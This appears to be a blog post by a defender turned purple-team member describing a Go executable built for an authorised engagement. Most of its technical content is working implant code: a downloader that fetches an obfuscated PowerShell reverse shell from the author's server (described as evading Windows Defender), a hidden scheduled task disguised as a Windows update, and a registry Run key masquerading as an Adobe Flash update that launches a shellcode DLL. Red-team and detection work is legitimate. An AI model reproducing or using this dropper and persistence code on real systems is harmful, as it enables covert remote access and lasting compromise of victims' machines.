Transitioning to a Purple Team

Learning on the Go

All my cybersecurity experience up until this point in my career has been focused on the blue side of the house. But recently I was able to take what was learned over the years as a defender and apply that to a purple team. Simply said, a purple team is a mix of offensive (red) and defensive (blue) behaviors with the end goal of improving the overall security posture of an organization. Purple teams work closely with defenders to help train them, validate detection logic, and identify detection gaps.

For quite some time I wanted to learn a programming language, but was never able to find a practical application for that knowledge set in my day to day job. That is until now. As a member of a purple team I will need to develop custom tools to perform red team actions. After much time and consideration Golang seemed to fit the bill.

As I grow into my new role as a member of a purple team, I want to document this journey. I want to share my experiences, both the good and bad. Hopefully, along the way I can teach others. Whether that is through my own personal experiences in a purple team or simply sharing Golang code and explaining what it does.

Assumed Access

During my first engagement I decided to create an executable that would give me a shell and then create two forms of persistence on a remote system. Below are code snippets and their intended purposes.

Prior to the engagement it was determined by the parties involved that initial access would be simulated. In this scenario, a user received a phishing email that included the executable. Then said user ran the file.

The Staging Grounds

The first thing the executable does is check if the staging directory exists or not. If it does not exist, it is created.

func dirCheck(dir string) {
    _, err := os.Stat(dir)
    if os.IsNotExist(err) {
        os.Mkdir(dir, 0750)
    }
    return
}

Once the staging directory is created the executable performs a GET request to my infrastructure that is hosting a PowerShell reverse shell. In order to get around Windows Defender the reverse shell was obfuscated prior to hosting it.

func fileDL(fileName string, url string) error {
    resp, err := http.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    out, err := os.Create(fileName)
    if err != nil {
        return err
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    return err
}

Persistence is Key

After the reverse shell is downloaded on the remote system, persistence is created via a scheduled task. The executable calls PowerShell to call schtasks which will run the reverse shell every minute. Super noisy, I know. Do not worry though, the PowerShell window used to create the scheduled task will be hidden. But each time the scheduled task runs a PowerShell window will pop up for a split second. I tried for quite some time to hide the PowerShell window, but could not figure it out.

exePath, _ := exec.LookPath("powershell")
    exeCmd := &exec.Cmd{
        Path:   exePath,
        Args:   []string{exePath, "schtasks /Create /SC MINUTE /TN \"Windows Update KB14352\" /TR \"powershell -Nop -Ep bypass -windowstyle hidden -file C:\\ProgramData\\Windows_Update\\kb14352.ps1\" /F"},
        Stdout: os.Stdout,
        Stderr: os.Stdout,
    }
    exeCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

Just in case the initial backdoor was discovered and remediated, I established a second method of persistence. Using the same code above to download the reverse shell, I used it to download a custom DLL with shellcode (a separate post will be created for that). Once the DLL is downloaded onto the remote system a registry run key is used to run the DLL with rundll32.

runKeyCmd := "rundll32 " + stage2dir + "\\" + dllName + ",Engage"
    err = fileDL(dllName, dllURL)
    if err != nil {
        log.Fatal(err)
    }

    regKey, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
    if err != nil {
        log.Fatal(err)
    }

    if err := regKey.SetStringValue("Adobe Flash Update", runKeyCmd); err != nil {
        log.Fatal(err)
    }